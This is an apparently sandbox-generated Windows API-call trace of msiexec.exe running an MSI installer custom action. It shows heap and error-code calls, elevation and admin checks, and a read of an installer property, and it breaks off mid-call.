\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ.ý«+ ò\x14\x02\x87g\x9ft¨\x19A\x02`\x16¡t\x88\x17A\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0150.297] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x74a12c00, nSize=0x104 | out: lpFilename="C:\\Windows\\syswow64\\MsiExec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe")) returned 0x1f [0150.297] GetLastError () returned 0x0 [0150.297] SetLastError (dwErrCode=0x0) [0150.297] GetLastError () returned 0x0 [0150.299] SetLastError (dwErrCode=0x0) [0150.299] GetLastError () returned 0x0 [0150.299] SetLastError (dwErrCode=0x0) [0150.299] GetLastError () returned 0x0 [0150.299] SetLastError (dwErrCode=0x0) [0150.299] GetLastError () returned 0x0 [0150.299] SetLastError (dwErrCode=0x0) [0150.299] GetLastError () returned 0x0 [0150.299] SetLastError (dwErrCode=0x0) [0150.299] GetLastError () returned 0x0 [0150.299] SetLastError (dwErrCode=0x0) [0150.299] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.300] GetLastError () returned 0x0 [0150.300] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.301] GetLastError () returned 0x0 [0150.301] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.302] SetLastError (dwErrCode=0x0) [0150.302] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.303] GetLastError () returned 0x0 [0150.303] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.304] SetLastError (dwErrCode=0x0) [0150.304] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.305] GetLastError () returned 0x0 [0150.305] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.306] SetLastError (dwErrCode=0x0) [0150.306] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.307] SetLastError (dwErrCode=0x0) [0150.307] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x75) returned 0x24119b0 [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.308] SetLastError (dwErrCode=0x0) [0150.308] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.309] GetLastError () returned 0x0 [0150.309] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.310] GetLastError () returned 0x0 [0150.310] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.311] GetLastError () returned 0x0 [0150.311] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.312] GetLastError () returned 0x0 [0150.312] SetLastError (dwErrCode=0x0) [0150.313] GetLastError () returned 0x0 [0150.313] SetLastError (dwErrCode=0x0) [0150.313] GetLastError () returned 0x0 [0150.313] SetLastError (dwErrCode=0x0) [0150.313] GetLastError () returned 0x0 [0150.313] SetLastError (dwErrCode=0x0) [0150.316] GetLastError () returned 0x0 [0150.316] SetLastError (dwErrCode=0x0) [0150.316] GetLastError () returned 0x0 [0150.316] SetLastError (dwErrCode=0x0) [0150.316] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.317] SetLastError (dwErrCode=0x0) [0150.317] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.318] SetLastError (dwErrCode=0x0) [0150.318] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.319] SetLastError (dwErrCode=0x0) [0150.319] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.320] SetLastError (dwErrCode=0x0) [0150.320] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] GetLastError () returned 0x0 [0150.321] SetLastError (dwErrCode=0x0) [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x98) returned 0x2411a30 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1f) returned 0x2411ad0 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x2b) returned 0x2411af8 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x37) returned 0x2411b30 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x3c) returned 0x2411b70 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x31) returned 0x2411bb8 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x18) returned 0x2411bf8 [0150.321] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x24) returned 0x2411c18 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x14) returned 0x2411c48 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xd) returned 0x2411c68 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1a) returned 0x2411c80 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x2e) returned 0x2411ca8 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x19) returned 0x2411ce0 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x17) returned 0x2411d08 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xe) returned 0x2411d28 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x95) returned 0x2411d40 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x3e) returned 0x2411de0 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1b) returned 0x2411e28 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1d) returned 0x2411e50 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x48) returned 0x2411e78 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x12) returned 0x2411ec8 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x18) returned 0x2411ee8 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1b) returned 0x2411f08 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x24) returned 0x2411f30 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x29) returned 0x2411f60 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1e) returned 0x2411f98 [0150.322] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x6b) returned 0x2411fc0 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x17) returned 0x2412038 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0xf) returned 0x2412058 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x16) returned 0x2412070 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x2a) returned 0x2412090 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x29) returned 0x24120c8 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x16) returned 0x2412100 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x13) returned 0x2412120 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x1f) returned 0x2412140 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x12) returned 0x2412168 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x18) returned 0x2412188 [0150.323] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x46) returned 0x24121a8 [0150.334] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x24109f0 | out: hHeap=0x2410000) returned 1 [0150.337] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x752b0000 [0150.337] GetProcAddress (hModule=0x752b0000, lpProcName="IsProcessorFeaturePresent") returned 0x752c51ed [0150.337] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0150.338] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x80) returned 0x24109f0 [0150.339] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x800) returned 0x24121f8 [0150.339] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.340] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.341] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.341] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.342] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.343] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.343] GetProcessHeap () returned 0x400000 [0150.343] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.344] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.346] RtlSizeHeap (HeapHandle=0x2410000, Flags=0x0, MemoryPointer=0x24109f0) returned 0x80 [0150.348] MsiCreateRecord (cParams=0x2) returned 0x47 [0150.371] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bac8 [0150.372] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bac8, Size=0x70) returned 0x435518 [0150.372] MsiRecordSetStringW (hRecord=0x47, iField=0x0, szValue="-- CUSTOM ACTION -- InstallFinish1") returned 0x0 [0150.373] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x47) returned 0 [0150.381] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435518 | out: hHeap=0x400000) returned 1 [0150.381] MsiCloseHandle (hAny=0x47) returned 0x0 [0150.383] GetCurrentProcess () returned 0xffffffff [0150.383] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x214f5b0 | out: TokenHandle=0x214f5b0*=0x17c) returned 1 [0150.383] GetTokenInformation (in: TokenHandle=0x17c, TokenInformationClass=0x14, TokenInformation=0x214f5a8, TokenInformationLength=0x4, ReturnLength=0x214f5ac | out: TokenInformation=0x214f5a8, ReturnLength=0x214f5ac) returned 1 [0150.383] CloseHandle (hObject=0x17c) returned 1 [0150.383] MsiCreateRecord (cParams=0x2) returned 0x48 [0150.384] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bac8 [0150.384] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bac8, Size=0x70) returned 0x435518 [0150.384] MsiRecordSetStringW (hRecord=0x48, iField=0x0, szValue="-- CUSTOM ACTION -- Elevated") returned 0x0 [0150.384] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x48) returned 0 [0150.390] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435518 | out: hHeap=0x400000) returned 1 [0150.391] MsiCloseHandle (hAny=0x48) returned 0x0 [0150.391] GetUserNameW (in: lpBuffer=0x214e610, pcbBuffer=0x214e60c | out: lpBuffer="SYSTEM", pcbBuffer=0x214e60c) returned 1 [0150.394] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x42abb8 [0150.394] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x42abb8, Size=0x50) returned 0x4356e8 [0150.394] MsiCreateRecord (cParams=0x2) returned 0x49 [0150.394] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.394] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x435740 [0150.394] MsiRecordSetStringW (hRecord=0x49, iField=0x0, szValue="-- CUSTOM ACTION -- User name is SYSTEM") returned 0x0 [0150.394] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x49) returned 0 [0150.396] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435740 | out: hHeap=0x400000) returned 1 [0150.396] MsiCloseHandle (hAny=0x49) returned 0x0 [0150.396] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4356e8 | out: hHeap=0x400000) returned 1 [0150.396] IsUserAnAdmin () returned 1 [0150.397] MsiCreateRecord (cParams=0x2) returned 0x4a [0150.397] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.397] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0xa0) returned 0x4356e8 [0150.397] MsiRecordSetStringW (hRecord=0x4a, iField=0x0, szValue="-- CUSTOM ACTION -- The user is a member of the Administrators group.") returned 0x0 [0150.397] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x4a) returned 0 [0150.399] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4356e8 | out: hHeap=0x400000) returned 1 [0150.399] MsiCloseHandle (hAny=0x4a) returned 0x0 [0150.399] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.399] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x4356e8 [0150.399] MsiCreateRecord (cParams=0x2) returned 0x4b [0150.399] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.399] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x80) returned 0x435760 [0150.399] MsiRecordSetStringW (hRecord=0x4b, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.INIFILE") returned 0x0 [0150.399] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x4b) returned 0 [0150.401] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x435760 | out: hHeap=0x400000) returned 1 [0150.401] MsiCloseHandle (hAny=0x4b) returned 0x0 [0150.401] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4356e8 | out: hHeap=0x400000) returned 1 [0150.401] MsiGetPropertyW (in: hInstall=0x46, szName="BZ.INIFILE", szValueBuf=0x74a0a6b8, pcchValueBuf=0x214f56c | out: szValueBuf="", pcchValueBuf=0x214f56c) returned 0xea [0150.402] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x2) returned 0x2410a78 [0150.402] MsiGetPropertyW (in: hInstall=0x46, szName="BZ.INIFILE", szValueBuf=0x2410a78, pcchValueBuf=0x214f56c | out: szValueBuf="", pcchValueBuf=0x214f56c) returned 0x0 [0150.402] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.402] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.402] MsiCreateRecord (cParams=0x2) returned 0x4c [0150.402] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb58 [0150.402] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb58, Size=0x70) returned 0x4356e8 [0150.402] MsiRecordSetStringW (hRecord=0x4c, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0150.403] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x4c) returned 0 [0150.404] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4356e8 | out: hHeap=0x400000) returned 1 [0150.404] MsiCloseHandle (hAny=0x4c) returned 0x0 [0150.405] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41bb10 | out: hHeap=0x400000) returned 1 [0150.405] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.405] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x4356e8 [0150.405] MsiCreateRecord (cParams=0x2) returned 0x4d [0150.405] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, 